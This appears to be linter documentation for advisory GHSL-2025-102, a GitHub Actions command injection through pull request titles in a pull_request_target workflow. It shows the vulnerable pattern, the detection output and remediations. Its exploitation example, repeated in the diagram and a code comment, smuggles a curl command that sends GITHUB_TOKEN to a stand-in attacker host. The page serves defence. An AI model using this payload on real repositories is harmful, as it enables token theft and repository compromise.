GHSL-2025-102: Code Injection via PR Title #
Summary #
| Item | Value |
|---|---|
| Advisory ID | GHSL-2025-102 |
| Severity | Critical |
| Affected Component | acl-org/acl-anthology |
| CVE | N/A |
| CWE | CWE-78 (OS Command Injection) |
| Reference | https://securitylab.github.com/advisories/GHSL-2025-102_GHSL-2025-103_acl-anthology/ |
Vulnerability Description #
GHSL-2025-102 is a code injection vulnerability in the link-to-checklist.yml workflow. The vulnerability occurs when the PR title is directly interpolated into a shell command without sanitization in a pull_request_target triggered workflow.
Attack Vector #
sequenceDiagram
participant Attacker
participant PR
participant Workflow
participant Secrets
Attacker->>PR: Create PR with malicious title
Note right of Attacker: Title: "; curl attacker.com?t=$GITHUB_TOKEN #
PR->>Workflow: Trigger pull_request_target event
Workflow->>Workflow: echo "PR Title: ${{ title }}"
Note right of Workflow: Shell interprets injected commands
Workflow->>Secrets: Access GITHUB_TOKEN
Workflow-->>Attacker: Token exfiltrated
Vulnerable Code Pattern #
name: Link to Checklist (Vulnerable)
on:
pull_request_target:
types: [opened]
permissions:
pull-requests: write
jobs:
link-checklist:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# VULNERABLE: PR title directly interpolated in shell command
- name: Process PR
run: |
echo "PR Title: ${{ github.event.pull_request.title }}"
# Attacker can inject: "; curl attacker.com/steal?token=$GITHUB_TOKEN #
Exploitation Example #
PR Title:
"; curl https://attacker.com/steal?token=$GITHUB_TOKEN #
Resulting shell command:
echo "PR Title: "; curl https://attacker.com/steal?token=$GITHUB_TOKEN #"
sisakulint Detection #
sisakulint detects this vulnerability with the code-injection-critical rule:
script/actions/ghsl/ghsl-2025-102.yaml:24:30: code injection (critical):
"github.event.pull_request.title" is potentially untrusted and used in a
workflow with privileged triggers. Avoid using it directly in inline scripts.
Instead, pass it through an environment variable. [code-injection-critical]
Remediation #
Option 1: Use Environment Variables (Recommended) #
- name: Process PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR Title: $PR_TITLE"
Option 2: Use GitHub Script #
- uses: actions/github-script@v7
with:
script: |
const title = context.payload.pull_request.title;
console.log(`PR Title: ${title}`);
Auto-Fix Support #
sisakulint provides auto-fix for this vulnerability:
# Preview the fix
sisakulint -fix dry-run script/actions/ghsl/ghsl-2025-102.yaml
# Apply the fix
sisakulint -fix on script/actions/ghsl/ghsl-2025-102.yaml
The auto-fix will:
- Create an environment variable for the untrusted input
- Replace the direct interpolation with the environment variable
Test Files #
- Vulnerable pattern:
script/actions/ghsl/ghsl-2025-102.yaml
Related Advisory #
- GHSL-2025-103: Similar vulnerability in
print-info.ymlwith PR body